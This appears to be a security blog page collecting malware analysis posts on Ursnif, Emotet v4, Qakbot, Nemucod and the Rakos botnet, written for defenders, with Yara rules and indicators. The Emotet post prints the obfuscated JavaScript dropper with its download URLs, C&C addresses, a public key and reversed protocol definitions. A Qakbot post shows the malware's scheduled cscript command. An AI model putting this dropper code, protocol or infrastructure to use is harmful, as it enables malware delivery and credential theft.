Aug 17, 2014
Breaking News: Sed ut perspiciatis, unde omnis iste natus error sit voluptatem accusantium doloremque laudantium

Tag: analysis

URSNIF VARIANT FOUND USING MOUSE MOVEMENT FOR DECRYPTION AND EVASION

00Malware, Malware analysis, Phishing, TrojanTags: , , , , ,

URSNIF VARIANT FOUND USING MOUSE MOVEMENT FOR DECRYPTION AND EVASION

 

In January 2016 Forcepoint Security Labs reported an email campaign delivering the Ursnif banking Trojan which used the ‘Range’ feature within its initial HTTP requests to avoid detection.

In July 2017 we discovered a malicious email sample delivering a new variant of Ursnif, attached within an encrypted Word document with the plaintext password within the email body. As recorded in several other Ursnif campaigns reported since April 2017, this Word document contains several obfuscated VBS files which load malicious DLLs through WMI.

However, these samples appear to exhibit new features including anti-sandboxing features that use a combination of mouse position and file timestamps to decode their internal data and the ability to steal data from the Thunderbird application.

 

ANALYSIS

A sample lure email for this campaign is shown below:

Once decrypted, it shows three OLE document icons with the extension “docx”, which will lure users to double click them directly (see below):

In fact, their file properties show they are three identical VBS scripts, including same highly obfuscated code padded with lots of garbage scripts to cover up normal logic.

Once triggered, it tries to download malware from ‘hxxp://46.17.40[.]22/hyey.pnj’. If this fails, a second attempt will be made to another site: ‘hxxp://inshaengineeringindustries[.]com/head.pkl’. These files are in fact DLL files which have been designed to be loaded through WMI:

rundll32 [malwarepath] DllRegisterServer

This malicious DLL is packed and again padded with lots of garbage code to hamper static analysis attempts. During execution, it will drop a second DLL file, map this new DLL to the current address, fix the Import Address Table and Relocation Table, then finally jump into the entry point to execute.

The dropped DLL first does self-checking on integrity and then:

  • Performs anti-sandboxing checks
  • Performs anti-VM checks
  • Implements persistence through an autorun registry key
  • Injects itself into the ‘explorer.exe’ process

The remainder of this analysis will focus on the new mouse-based anti-sandboxing/decryption capabilities.

Anti-Sandboxing Checks

The algorithm used by this sample uses the difference between the current and previous recorded mouse coordinates to detect mouse movement and avoid sandbox environments where the mouse is not usually moved. It further uses the value generated by this process to ‘brute force’ its own decryption key.

Step One – Key Generation

Firstly, the malware calculates the D-Value (delta) between the x- and y-coordinates of the last and current mouse position. It then selects the sum of the .BSS section’s Relative Virtual Address (RVA) and ‘SizeOfRawData’ value as a base seed.

It XORs the base seed with the file creation time (in this case ‘Apr 11 2017’) to get a value which is added to the lowest 5 bits of the mouse D-Value to get the decryption key.

Step Two – Decode .BSS Section

The malware loops through the .BSS section of the DLL one DWORD at a time, XORing the current DWORD data with the last DWORD data. This value is then XORed with the decryption key generated above and right-rotated by the loop count. The ‘current’ DWORD is then replaced.

Step Three – Verify The Deciphering Key

After .BSS section data is decoded, three values are acquired from offsets 0x61d, 0x619, and 0x625 in the .BSS section, and their sum compared with checksum ‘0EE553B4E’. If this matches, it will execute the rest of the code, otherwise it has to restore the encrypted .BSS section raw data and try to re-calculate new key for another attempt at the decryption and verification operation.

If run in sandbox environment, since the D-value based on the mouse movement always is 0, the ‘BSS’ section is always inaccurately decoded and will loop execution of same code. While in a realistic environment, due to only using the lowest 5 bits of D-value rather than the full 32 bits, it is more likely to get correct value to decode section data.

The decryption key itself is an important global constant which will be used in subsequent code to decode APIs, a hidden PE file (DLL file in this variant), synchronous objects, Registry data, URLs, etc.

In addition, the decoding operations are implemented at run time, preventing memory analysers from dumping the whole plaintext string stream of malware memory, e.g.

Decoding Windows APIs used for further injection operations:

With the aid of the decryption key, an additional embedded PE file (a 3rd DLL file) can be safely extracted from data section of the second DLL file, released to a temporary buffer, and injected into the ‘explore.exe’ process.

 

CONCLUSION

Ursnif spreads itself through emails provided with a plaintext password for an attached encrypted document. In general, this method is used by senders when the attached documents contain sensitive content. In recent years, this method is widely leveraged by threat actors, who want to ensure their payload successfully bypasses IDS detection and to deceive recipients to firmly believe that the mail may contain important information.

Overall, Ursnif is well concealed: it communicates with C2 servers via Tor, limiting its traceability, and is equipped with anti-sandbox and anti-VM techniques.

You value our work? Please support us 

 

Emotet v4 Analysis

01Latest news, Malware, ReverseEngineering, Zero-DayTags: , , ,

Introduction:

Emotet is a modular Trojan horse, which was firstly noticed in June 2014 by Trend Micro. This malware is related to other types like Geodo, Bugat or Dridex, which are attributed by researches to the same family.

Emotet was discovered as an advanced banker – it’s first campaign targeted clients of German and Austrian banks. Victims’ bank accounts were infiltrated by a web browser infection which intercept communication between webpage and bank servers. In such scenario, malware hooks specific routines to sniff network activity and steal information. This technique is typical for modern banking malware and is widely known as Man-in-the-Browser attack.

Next, modified release of Emotet banker (v2) has taken advantage of another technique – automation of stealing money from hijacked bank accounts using ATSs (Automated Transfer Systems, more informations on page 20 of CERT Polska Report 2013). This technology is also used in other bankers. Good examples are ISFB (Gozi) or Tinba.

At the beginning of April 2017, we observed wide malspam campaign in Poland, distributing fraudulent mails. E-mails were imitating delivery notifications from DHL logistics company and contained malicious link, which referred to brand-new, unknown variant of Emotet.

Malware distributed in this campaign differed from previously known versions. Behavior and communication methods were similar, but malware used different encryption and we noticed significant changes in its code. Thus we called this modification version 4.

Dropper:

Links from the phishing campaign pointed to a dropper, which downloaded and executed malware. Dropper was written in Javascript and wasn’t highly obfuscated. It was fairly easy to notice, that strings with distribution site URLs were just reversed.

$uaU$Fh71K_E6TQAdMPz = function(n) {
if (typeof $uaU$Fh71K_E6TQAdMPz.list[n] == string) return $uaU$Fh71K_E6TQAdMPz.list[n].split().reverse().join();
return $uaU$Fh71K_E6TQAdMPz.list[n];
};
$uaU$Fh71K_E6TQAdMPz.list = [
tamroF eliF detroppuS toN,
llehS.tpircSW,
tcejbOmetsySeliF.gnitpircS,
/1506daolnwod/ku.oc.aidemlaerehte//:ptth,
/7751daolnwod/moc.erawtfoscetni//:ptth,
PTTHLMX.2LMXSM,
/3030daolnwod/moc.yhpargotohpnivrinad//:ptth,
/3946daolnwod/moc.aidemsretsacdnarb//:ptth,
/4769daolnwod/lp.moc.hcetka//:ptth,
maertS.BDODA,
.)dedoced yltcerroc t’nsaw dna tnemhcatta liame na sa tnes saw ti ,elpmaxe rof( deriaper eb ton dluoc dna degamad si elif ehT .tnemucod siht gninepo rorre na saw erehT ];

Distribution sites found in dropper:

hxxp://etherealmedia.co.uk/download6051/
hxxp://intecsoftware.com/download1577/
hxxp://danirvinphotography.com/download0303/
hxxp://brandcastersmedia.com/download6493/
hxxp://aktech.com.pl/download9674/

Main module:

An interesting thing in Emotet is its modular structure. Main module dropped by script doesn’t contain anything harmful and is used only to download another modules from C&C, which perform specific tasks. Sample dropped by script is protected using some generic packer to avoid recognition by AV software.

After unpacking, malware loads libraries and resolves WinAPI routines used in encryption and communication with C&C. Names of specific functions are obfuscated and stored as array of hashes. Emotet uses simple sdbm hash function for this purpose. To make hashes more varied, values are additionally XORed with some constant specified in binary.

int hashValue = 0;
for ( char c = *libraryName; *libraryName; c = *(++libraryName) )
{
hashValue = c + 65599 * hashValue;
}
hashValue = xorKey ^ hashValue;

Strings that are distinctive for Emotet are also encoded using 4-byte XOR key, different for each string.

Main executable file contains also a list of IP addresses of C&C servers. Similar to previous versions, sample communicates with Command&Control using plain HTTP.

Encryption:

The most significant change in new version is usage of different encryption algorithm. In previous releases, communication was encrypted using RC4. In fourth version, Emotet switched to 128-bit AES in CBC mode.

Intercepted request:

GET / HTTP/1.1
Cookie: DD29=e8fd7YpIy2Ui+U7bz1/cQD9bH4KHshzaN2SpKoPEnC1D85K4Zrwdb6dBoHoDC5GgvcgecLN20kpk1lQxus6AJEiutWK4hBSWFbQUmtyr3LxI+/3MFdKn1lo7nWyEw+sCzKL6y34njzJwoDwd3I5BJD0NqUL+iEnbB1EWXQhxcXihFeFS+TlRsuMxOl3Xmyo2p0FuHX+hyGoO19dzLpEMK1LhXGkCkha+kPGFqfxECUoQndFLiMRgXAj4Omw/Ywc6Ba+9d5fyZNLEKbtkxsfO3KmQSLoE4TkITRri1kSMCqnNlb7PTroCQmoJvRHBiEGla6VzgmCQ5tsspBIuaWc2ct9hX9c4SLZbTnW6mPjLIh4VeDJ7gNpwhedyLHcnr3GWjILLwFPk7RmgHglXXI2qEOXcwbRhtaNuI8RrkMQj37Rov147wEGBtt+GlQR9/9oFXoBXH9f6m5K4ULP3CEnDGGJVEtfkgt7yZ082wAIfVzow1szvMF4bF7MFaCPbHA9hygyf9Uc8GwDjM4CndFxUwROWmEgQKjIk24PIj5Y+oz4jF
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322)
Host: 206.214.220.79:8080
Connection: Keep-Alive
Cache-Control: no-cache

Request body is passed in Cookie header. Cookie’s key is random 16-bit hexadecimal number, with Base64-encoded binary blob as value.

After decoding, structure of request is described below:

Offset Field name
0..95 asymmetrically encrypted 128-bit AES key used for request encryption
96..115 SHA1 hash of plaintext request body
116..x Request body, AES-128-CBC encrypted

Before sending, malware performs key generation. In the first stage, Emotet loads 768-bit RSA public key, stored in executable. Then, AES symmetric key is generated using cryptographically secure PRNG (CryptGenKey). Finally, generated key is encrypted using previously loaded public key and attached to the request using PKCS#1v2.0 (OAEP) padding.

Cryptography is based on Microsoft CryptoAPI mechanisms.

Key generation and public key import:

if ( fn_CryptAcquireContextW(cryptCtx->hProv, 0, 0, PROV_RSA_AES, 0xF0000040) )
{
if ( fn_CryptDecodeObjectEx(
65537,
RSA_CSP_PUBLICKEYBLOB,
RSA_ENCODED,
RSA_ENCODED_LEN,
CRYPT_DECODE_ALLOC_FLAG,
0,
&prsaKey,
&prsaKeyLen) )
{
v2 = fn_CryptImportKey(cryptCtx->hProv, prsaKey, prsaKeyLen, 0, 0, &cryptCtx->hCryptRSA);
LocalFree(prsaKey);
if ( v2 )
{
if ( fn_CryptGenKey(cryptCtx->hProv, CALG_AES_128, CRYPT_MODE_CBC, &cryptCtx->hCryptAES) )
{
if ( fn_CryptCreateHash(cryptCtx->hProv, CALG_SHA1, 0, 0, &cryptCtx->hCryptSHA1) )
return 1;
fn_CryptDestroyKey(cryptCtx->hCryptAES);
}
fn_CryptDestroyKey(cryptCtx->hCryptRSA);
}
}
fn_CryptReleaseContext(cryptCtx->hProv, 0);
}

Request encryption:

if ( !fn_CryptDuplicateHash(cryptCtx->hCryptSHA1, 0, 0, &hHash) )
goto ERROR;
memmove(pRequest, req->bufPtr, req->bufLen);
if ( fn_CryptEncrypt(cryptCtx->hCryptAES, hHash, 1, 0, pRequest, &dwRequestLen, dwBufLen) )
{
if ( fn_CryptExportKey(cryptCtx->hCryptAES, cryptCtx->hCryptRSA, 1, CRYPT_OAEP, encKey, &encKeyLen) )
{
memmove(encReq, encKey, 96)
if ( fn_CryptGetHashParam(hHash, HP_HASHVAL, encReq + 96, &shaLen, 0) )
result = 1;
}
// …
}

Communication with C&C:

Received response is presented below:

 

 

 

 

 

 

 

Communication protocol is based on Google Protocol Buffers. Protocol Buffers is a mechanism, which allows developers to simply build own protocols using set of message structure declarations, written in a specific protobuf language. Protocol Buffers generates parsing and serializing modules, which can be directly used in developed solution. Protobuf supports wide set of languages, including Python, Java, PHP or C++. Using this kind of mechanisms isn’t something new in malware, protobuf-based protocols can be found for example in Gootkitmalware.

Unfortunately, Emotet’s case is a bit different. Protobuf code inside malware is slightly modified and provides additional type of encoding, which is not specified in the original Protocol Buffers documentation. Because of this small difference, response can’t be properly decoded using generic protobuf parsers e.g. protoc with –decode_raw argument fails.

Anyway, original protocol definitions were successfully reversed:

syntax = “proto2”;
message RegistrationRequest {
message RegistrationRequestBody {
required string botId = 1;
required fixed32 osVersion = 2;
required string procList = 3;
required string mailClient = 4;
}
required int32 command = 1 [default = 16];
optional RegistrationRequestBody registrationRequest = 2;
}

Registration request contains command id (16) and some information about host operating system. Each field of RegistrationRequestBody structure has been described below:

botId field

This field provides information about values specific to victim’s machine and probably is meant to be unique between bot instances.

[host_name]_[locale]_[host_id]
e.g. CERTCERT_PL_32122958
    • host_name – contains only chars from 0..9a..zA..Z- charset, another chars are replaced by ‘?’
    • locale – contains information about locale settings. In this case, dash ‘-‘ is also forbidden
    • host_id – 32-bit hexadecimal value of sdbm hash (used also by API resolver) from current user login xored by Windows drive serial number.

osVersion field:
32-bit field, which describes version of Windows running on infected host. It’s a bit field, where each groups of bits contains specific value of OSVERSIONINFOEX structure.

Bits Description
0..3 dwMajorVersion
4..7 dwMinorVersion
8..11 wServicePackMajor
12..15 wServicePackMinor
16..19 wProductType
20..23 SYSTEM_INFO.wProcessorArchitecture

procList field:
Contains comma-separated list of currently running process names.

mailClient field:
Provides information about used mail client (read from “HKLM\Software\Clients\Mail” registry key value). If it’s Microsoft Outlook and it’s MAPI DLL is 64-bit, name is followed by ” x64″ suffix.

Response:

If a registration request was received, C&C server returns a list of Emotet modules. HTTP status response is always 404 Not Found, regardless of the fact whether request was built properly or not. In this case, response body contains encrypted response.

HTTP/1.1 404 Not Found
Server: nginx
Content-Type: text/html; charset=UTF-8
Content-Length: 728740
Connection: keep-alive

alc:*qLud<d^G̾>…

Structure of encrypted response is quite similar to the request structure. Encrypted payload starts at 116-byte of received message. Response is encrypted using the same AES key, which was passed in request. After successful decryption, we obtain protobuf-like message with list of MZ binaries or URLs.

message Module
{
required int32 type = 1;
required bytes blob = 2;
}
message ModuleResponse {
repeated Module modules = 1 [packed=true];
required uint32 timestamp = 2;
}

In this case, malware uses non-standard encoding. Field repeated Module modules = 1 [packed=true]; is illegal in protobuf language, because packed attribute can be used only for primitive numeric type of repeated fields. Surprisingly, list of modules is encoded like packed list of Message objects.

Here is a low-level C&C response description, using Protocol Buffers encoding primitives:

Type Name Comment
ModuleResponse
TAG tag 0x0a
VARINT length of ‘modules’ list
Module (repeated)
VARINT length of Module element
TAG ‘type’ field tag 0x08
VARINT type
TAG ‘blob’ field type 0x12
VARINT length of ‘blob’
RAW ‘blob’ content

It should be noted that elements of Modules are repeated without Module message tag, which is specific to packed encoding,

type field:
This field defines type of blob content and specifies method of module execution. Type field can be one of the following values:

Value Description
1 Store in %TEMP% and execute with -U argument
2 Like ‘1’, but without arguments
3 Download and execute file from URL specified ‘blob’
4 Use own internal loader – load and execute PE file from ‘blob’
5 Uninstall – delete related ‘.lnk’ from Startup folder
default Do nothing

Modules:

In previous versions, Emotet modules were providing the following set of functionalities:

    • Stealing money from bank accounts (Man-in-the-Browser attack)
    • Spreading by sending spam e-mails
    • Stealing mails and credentials to mail accounts
    • DDoS module
    • Stealing browsing history and passwords from web browser

In version 4 distributed in the last campaign, we didn’t observe banking module, which is somewhat unusual for this type of malware. Behavior of other modules was quite similar to previous versions. During analysis, we successfully dropped two types of modules, described below:

Credentials stealer:

In server response, we found two similar modules, which purpose was to steal credentials from web browser and mail client. Both modules have embedded NirSoft password recovery software inside:

Recovery software was embedded as XOR-encoded static blob, using 32-bit key (similar to strings). On module startup, software was decoded and stored in %TEMP%, and then executed with /scomma [temp file name] parameter, which leads to dump all passwords into file contained in %TEMP% folder (name generated using GetTempFileNameW). Stealed data were sent to C&C server for malware spreading purpose.

Spam module:

Second type of module was spam module, used for malware spreading. Firstly, module asks C&C for message template, list of recipients and list of hijacked accounts, which will be used to spam distribution.

Request structure presents as below:

message SpamRequest {
message SpamRequestBody {
required string botId = 1;
required int32 flags = 2 [default = 3];
required string additionalData = 3;
}
required int32 command = 1 [default = 18];
optional SpamRequestBody spamRequest = 2;
}

Fields flags and additionalData specify, which data has been received from server and which we’re expecting in C&C answer.

Server response looks like below:

message EmailAccount {
required int32 id = 1;
required string mail_server = 2;
required int32 port = 3;
required string login = 4;
required string password = 5;
required string email = 6;
}
message EmailRecipient {
required int32 id=1;
required string to_email=2;
optional string to_name=3;
required string from_email=4;
required string from_name=5;
}
message EmailResponse {
message Template {
required string from = 1 ;
required string subject = 2;
required string unk1 = 3;
required string content_type = 4;
required string msg = 5;
required string unk2 = 6;
}
optional Template template = 1;
repeated EmailAccount accounts = 2 [packed=true];
optional EmailRecipient recipients = 3 [packed=true];
required uint32 timestamp = 4;
}

E-mails are not sent using local account. Distribution is performed using previously scrapped mail accounts, which are sent to each spambot.

Message template example:

Hello <span style=”text-transform: uppercase;”>&lt;&gt;</span>

Thank you for your order. The details can be found below.

Invoice attached: <a href=”http://aceeight.com/Cust-000564-17424/”>http://aceeight.com/Cust-000564-17424/&lt;&gt;</a>

This e-mail was sent by <span style=”text-transform: uppercase;”>&lt;&gt;
&lt;&gt;</span>

Summary:

Basic functionality of Emotet in last campaign was just stealing credentials and spreading. Even though, malware is still active and also actively developed. Because of lack of few important modules, Emotet will be probably extended in future. In case of infection, we recommend changing passwords to all accounts, which credentials were stored in mail client or web browser.

Additional informations

 

MD5 of fetched modules:
0497c120248c6f00f1ac37513bd572e5
5b2d58b4104309ee9c93b455d39c7314
722268bad0d3a2e90aa148d52c60943e

C&C list:
hxxp://87.106.105.76:443
hxxp://173.255.229.121:443
hxxp://178.79.177.141:443
hxxp://79.170.95.202:7080
hxxp://206.214.220.79:8080
hxxp://88.198.50.221:8080
hxxp://5.39.84.48:8080
hxxp://188.68.58.8:7080
hxxp://162.214.11.56:7080
hxxp://5.196.73.150:8080
hxxp://203.121.145.40:7080
hxxp://46.165.212.76:7080

 

C&C public key:

—–BEGIN PUBLIC KEY—–
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAJ16QBv5Csq0eruFy4BvTcXmmIyeqUb3
vCCc8K/zOYOpL/Ww6FCdUpvPfs+RR/sLBalwtKmT14iRUaNmJdygnAKUIRWR1HNt
0rQRir0pD4QlkXlnZ9lZazTfyMV8BLCatwIDAQAB
—–END PUBLIC KEY—–

Yara Rule:

rule emotet4_basic: trojan
{
meta:
author = “psrok1/mak”
module = “emotet”
strings:
$emotet4_rsa_public = { 8d ?? ?? 5? 8d ?? ?? 5? 6a 00 68 00 80 00 00 ff 35 [4] ff 35 [4] 6a 13 68 01 00 01 00 ff 15 [4] 85 }
$emotet4_cnc_list = { 39 ?? ?5 [4] 0f 44 ?? (FF | A3)}
condition:
all of them
}

rule emotet4: trojan
{
meta:
author = “psrok1”
module = “emotet”
strings:
$emotet4_x65599 = { 0f b6 ?? 8d ?? ?? 69 ?? 3f 00 01 00 4? 0? ?? 3? ?? 72 }
condition:
any of them and emotet4_basic
}

rule emotet4_spam : spambot
{
meta:
author=”mak”
module=”emotet”
strings:
$login=”LOGIN” fullword
$startls=”STARTTLS” fullword
$mailfrom=”MAIL FROM:”
condition:
all of them and emotet4_basic
}

You value our work? 

The Return of Qakbot Malware

00Latest news, Malware, ReverseEngineering, Zero-DayTags: , , , , ,

Introduction

The Cylance Threat Guidance team continuously looks for interesting trends and challenges that incite organizations to engage with us. Recently, an influx of thousands of Qakbot (aka Qbot) infections have brought people to us to discuss how to block this malware from gaining access to corporate systems.

This malware is well-known for its ability to steal credentials and quickly spread through an enterprise over network shares. Given its age, it might seem logical that security controls would have this threat on lockdown. However, the occasional functional enhancements combined with its multiple layers of obfuscation and server-side polymorphism periodically breathe new life into this seemingly immortal malware.

While it’s unclear why so many systems have suddenly fallen victim to Qakbot, it’s possible that updated exploit kits play a role. After all, there is no shortage of new vulnerabilities and exploits for attackers to use to their advantage.

Since the core functionality of Qakbot has remained fairly consistent over the years and is well documented, we will not rehash that information here. Instead, we’ll evaluate several samples from the recent surge in infections and explore how to correlate unique binaries.

As highlighted at the beginning of this article, the polymorphic nature of this threat is of great interest given its goal of evading detection. Prior versions of Qakbot configured a scheduled task to request updates, and the recent wave of infections was no different. For example, we observed a sample that configured the following command to run on a weekly basis:

cmd.exe /C “start /MIN C:\windows\system32\cscript.exe //E:javascript “C:\Users\<USER>\AppData\Local\Microsoft\<5-8 random alphabetical characters>.wpl””

As described in the command line, the WPL file contains JavaScript. Just in case the cryptic code isn’t convincing enough, the header of the target file makes it all too clear the JavaScript is obfuscated (Figure 1).

Figure 1: Excerpt of Obfuscated JavaScript Update Script

Brief behavioral analysis revealed the code reaches out to the following URLs:

•  hxxp://css.kbaf.myzen.co(dot)uk/TealeafTarget.php
•  hxxp://projects.montgomerytech(dot)com/TealeafTarget.php
•  hxxp://n.abcwd0.seed.fastsecureservers(dot)com/TealeafTarget.php

Like earlier versions of Qakbot, a request to these update servers returns an encrypted payload, where the first 20 bytes serve as the RC4 key to decrypt the data. Once decrypted, the first 20 bytes represent a SHA1 hash of the executable, and the remaining bytes are the file contents.

To mimic Qakbot’s update process in a controlled manner, we created a Python script to send HTTP requests to each of the three URLs over a 24-hour period. At the time of this writing, requests for the first listed URL returned an HTTP 404 Not Found error, but requests for the remaining two URLs returned the expected payload.

The script was executed from both a Windows 10 64-bit and Windows 10 32-bit OS for more than 24 hours from 5/16/17 to 5/17/17, and the scripts were running simultaneously across both operating systems during much of that time.

Although the script was configured to send HTTP requests to each of the two working URLs every 30 seconds, most requests resulted in pulling the same binary. In other words, the update server did not provide a new file with each request.

Files with a unique hash were only supplied approximately every 10 minutes. In total, we collected 245 files across the two machines. However, because the servers supplied the same file to each machine at a given time (i.e., they appeared to be in sync), the resulting unique set of files was much smaller, totaling 141 files.

 

Reviewing the samples:

All 141 downloaded files were 32-bit Windows executables. Searching public repositories for these files revealed that only one had been previously logged, and that was within the previous 12 hours.

Across the 141 files, all have unique compile timestamps, and the earliest one occurred on May 15, 2017.

While all 141 files have unique sha-256 file hashes, there are some similarities to consider. First, calculating the import hashes across the files showed three distinct groups:

•  2E6AC2290F1E3D80ABC8D0D6F736D965
•  651EF2DBA96011F47EED9B72BE7B4B8C
•  F3CAA54DDE4056FADD52A024CF6B82ED

Although import hashes are often used to correlate malware over long periods of time, the earliest compile timestamp we discovered for a file with any of the above import hashes was 5/15/17. Given the polymorphic capabilities of this threat, this observation is not surprising.

Let’s briefly take a look at two files that have the same import hash (2E6AC2290F1E3D80ABC8D0D6F736D965) but different file hashes:

•  7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC
•   67F3BD674647CA0D294A894B6702362B6CFC4B6C2E147643E100903A6B4D715A

Both files are 458,752 bytes, and they consist of the following PE sections:

•  .text
•  .code
•  .rdata
•  .data
•  .CRT
•  .exp
•  .code (yes, again)
•  .rsc
• .reloc

Among these, all section hashes match except those for .text, .rdata, and .data. A different .text section may indicate a change in executable code. To investigate this observation, we can use diaphora, a binary diffing tool compatible with IDA Pro. Performing a code comparison presents the following results (excerpt in Figure 2).

Figure 2: Binary Diff of Two Qakbot Samples With the Same Import Hash

Diaphora concludes all 27 identified functions are a 100% match.

While we could investigate individual variations across the three PE sections mentioned earlier, it makes more sense to unravel any layers of obfuscation and compare the underlying code.

Unpacking Qakbot:

To unpack recent Qakbot samples, the below approach worked reliably. All instructions assume use of x32dbg, but similar steps can be performed with a debugger of your choice.

•   Load the sample into x32dbg (we’ll be working with the file that has sha-256 hash 7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC) .

•   Set a breakpoint on VirtualProtect (Figure 3).

Figure 3: Set a Breakpoint on VirtualProtect Within x32dbg

•   Execute the code. On the first call to VirtualProtect, the protection on all sections owned by the process will be modified to 0x04, or PAGE_READWRITE (see red box in Figure 4).

Figure 4: Protection on Code Changed to PAGE_READWRITE

•   As the code executes, those sections in memory will be manually overwritten using loops. Let the breakpoint hit two more times, and on the second hit notice that protection on the .text section is changed to 0x20, or PAGE_EXECUTE_READ (see red box in Figure 5).

Figure 5: Protection on .text Section Changed to PAGE_EXECUTE_READ

•   Allow the call to complete and return back to user code so that the permissions change takes effect.

•   Next, browse to the Memory Map and choose to disassemble the .text section (Figure 6).

Figure 6: Memory Map With Unpacked Code

•   Once there, set a “Hardware on Execution” breakpoint to catch when this new code is executed (Figure 7).

Figure 7: Hardware Breakpoint on Original Entry Point (OEP)

• Run the code until the hardware breakpoint is triggered. You can then dump the process using a plugin like OllyDumpEx and fix the import table using Scylla.

Correlating Qakbot

Following the above process for both files produced two process dumps of the same size (418,304 bytes) and different file hashes. Turning again to diaphora revealed that most of the 227 functions identified matched 100%. Only nine functions did not match 100% (see excerpt in Figure 8).

Figure 8: Binary Diff of Unpacked Code From Two Samples

A review of these nine functions showed that each referenced the file name and/or location of the file on disk. Since each file tested did indeed have a different filename and location, we can explain this discrepancy. Therefore, despite variations in the sections across the code, the resulting unpacked binary contains identical functionality.

To further explore correlation between deobfuscated samples, we can apply the same unpacking process to a sample with a different import hash. For example, the file with hash 8891524E468BE1BD44723385C9238017090B536F922CCC007D8AC47C66802E3C is 450,560 bytes and has the import hash 651EF2DBA96011F47EED9B72BE7B4B8C. It is 8,192 bytes smaller than the previous two files and has only six sections (no section hashes match when compared to previous samples):

•   .text
•   .code
•   .rdata
•   .data
•   .rsrc
•   .reloc

The unpacking approach outlined above results in another dumped 418,304 byte file with a different file hash. However, a code diff confirms that most of the 227 identified functions match 100%, and the nine functions that do not only differ by the filename and path, as described earlier.

Conclusion:

Qakbot continues to be a significant threat due to its credential collection capabilities and polymorphic features. Unhindered, this malware family can rapidly propagate through network shares and create an enterprise-wide incident. In this post, we explored how to dissect, unpack, and compare multiple downloaded samples.

 

Indicators of Compromise (IoCs):

Sha-256 Hashes:

7DBD0DF279062090C34F796EFC7DD239ECCD46B99B67AAC370D6048D5ADBB9EC
67F3BD674647CA0D294A894B6702362B6CFC4B6C2E147643E100903A6B4D715A
8891524E468BE1BD44723385C9238017090B536F922CCC007D8AC47C66802E3C

URLs:

hxxp://css.kbaf.myzen.co(dot)uk/TealeafTarget.php
hxxp://projects.montgomerytech(dot)com/TealeafTarget.php
hxxp://n.abcwd0.seed.fastsecureservers(dot)com/TealeafTarget.php

You value our work? 

Nemucod Evolves Delivery and Obfuscation Techniques to Harvest Credentials

00Featured news, Latest news, Malware, Phishing, ReverseEngineeringTags: , , ,

Recently the Unit 42 research team have been investigating a wave of Nemucod downloader malware that uses weaponized documents to deploy encoded, and heavily obfuscated JavaScript, ultimately leading to further payloads being delivered to the victim. From a single instance of the encoded JavaScript discovered in one version of this malware, we pivoted on the Command and Control (C2) IPv4 address discovered during static analysis and deobfuscation, using our Threat Intelligence Service AutoFocus, unearthed many more versions of the malware and found that the versions seen to date were delivering a credential-stealing Trojan as the final payload.

Over the past five months they have tracked this campaign of Nemucod malware in various industry sectors across multiple countries with Europe amassing the highest number of attacks, followed by the United States of America and then Japan (as can be seen in Figure 1).

nemucod_1

Figure 1: Nemucod Destination Countries by session volume.

nemucod_2

Figure 2: Target Industries by session volume.

Spain was the single most affected country, as shown in Figure 1, with the Professional and Legal Services sector, as shown in Figure 2, contributing the most towards that and also towards Belgium’s total volume as well. Utilities was next, almost exclusively in France; Healthcare was primarily made up again from volume seen in Spain; Energy, towards the end of the list of Top 10 industries shown in Figure 3, was mostly due to activity in the United Kingdom; the Securities and Investments sector was mostly made up from traffic in the United States of America, United Kingdom and Norway. Malicious traffic seen in Japan was due to attacks seen in High Tech industries.

nemucod_3

Figure 3: European Countries by session volume.

Much of the malware arrived by email (using SMTP, POP3 and IMAP applications) as shown in Figure 4, the vast majority of which originated from Poland or at least using source email addresses with Polish domain names. Recipient email addresses varied but many seem valid based on names and linked-in account details. A small proportion of the sessions seen were over the web-browsing application being downloaded from websites resolving to IP addresses in Moldova, which will be discussed in more detail later.

nemucod_4

Figure 4: Nemucod network application by session volume

The remainder of this blog describes the evolution of the malware since that time, as well as other topics:

  • Weaponized document evolution.
  • Insight into the possible workflow and setup of the attackers, including their infrastructure.
  • Obfuscation and social engineering techniques used.
  • The credential theft payload.

Transient Botnet – Exploring the P2P (SANS Diary)

00Malware, ReverseEngineeringTags: , ,

Introduction

We recently deployed a high interaction honeypots expecting it to be compromised by a specific malware. But in the first few days, instead of getting infected by the expected malware, it received a variety of attacks ranging from SSH port forwarding to “Viagra and Cialis” SPAM to XORDDoS failed deployment attempts. By the third day, it was insistently hit and compromised by Rakos, a Linux/Trojan.

Based on the expected Rakos behavior reported last December by ESET [1], our honeypot was recruited to a botnet and immediately began attempting connections to other hosts on the Internet, both to “call home” and to search for new victims. Although it wasn’t our initial plan, we noticed that this sample didn’t behave like the one ESET described, which got us curious and made us analyze it here at Morphus Labs.

After analyzing and exploiting this botnet’s communication channel and employing Crawling and Sensor Injection enumeration methods, we did find a network floating around 8,300 compromised devices per day spread over 178 countries worldwide. Considering the recent DDoS attack reported by Incapsula [2] against a US College, originated from 9,793 bots, which was able to generate 30,000 requests per second during 54 hours, we may infer how potentially threatening is Rakos botnet.

2. Botnet C&C channel analysis

To better understand this P2P Transient botnet behavior and its C&C protocol, we listened to its traffic for 24 hours, and after analyzing it, we noticed two kinds of communications: one between bots through HTTP and, the other, between bots and C&C servers through TLS/SSL. In this section, we detail the commands we mapped.

Some definitions before start:

  • Checker: An infected machine (“bot”) that is part of the botnet.
  • Skaro: C&C server

A particular node may play both roles.

2.1 Communication between Checkers and Skaros

The connections between Checkers and Skaros are made through SSL/TLS encrypted sessions. It was necessary to intercept the traffic using a classic man-in-the-middle attack to access the messages. See in Table 1 the list of captured commands and its descriptions.

Table 1 – C&C between Checkers and Skaros
Command Description
POST /ping HTTP/1.1 This command is used by Checkers to inform a Skaro its information and stats. It includes: system architecture, operating system, a “checker” port number (used for bot to bot communication) and machine load (CPU and Memory). In the response, it receives the SSL certificate files (CA, CERT and KEY), a list of up to 30 Skaros addresses and 50 Checkers
GET /upgrade/up HTTP/1.1 Command issued by the Checker to get a new list of username/password combinations from a Skaro.
GET /upgrade/vars.yaml HTTP/1.1 Issuing this command, a Checker receives a response like the initial parameters. It’s a kind of configuration refresh.
GET /upgrade/linux-armv5 HTTP/1.1 This command is used to get a new version of the malware binary file.

2.2. Communication between Checkers

The communication between Checkers is essential to discover their own public IP address. The bots reach each other through HTTP requests using the high random TCP port they bind to.

See in Table 2 the list of commands and its descriptions.

Table 2 – C&C between Checkers
Command Description
GET /  HTTP/1.1 One bot querying another to discover its own IP address.
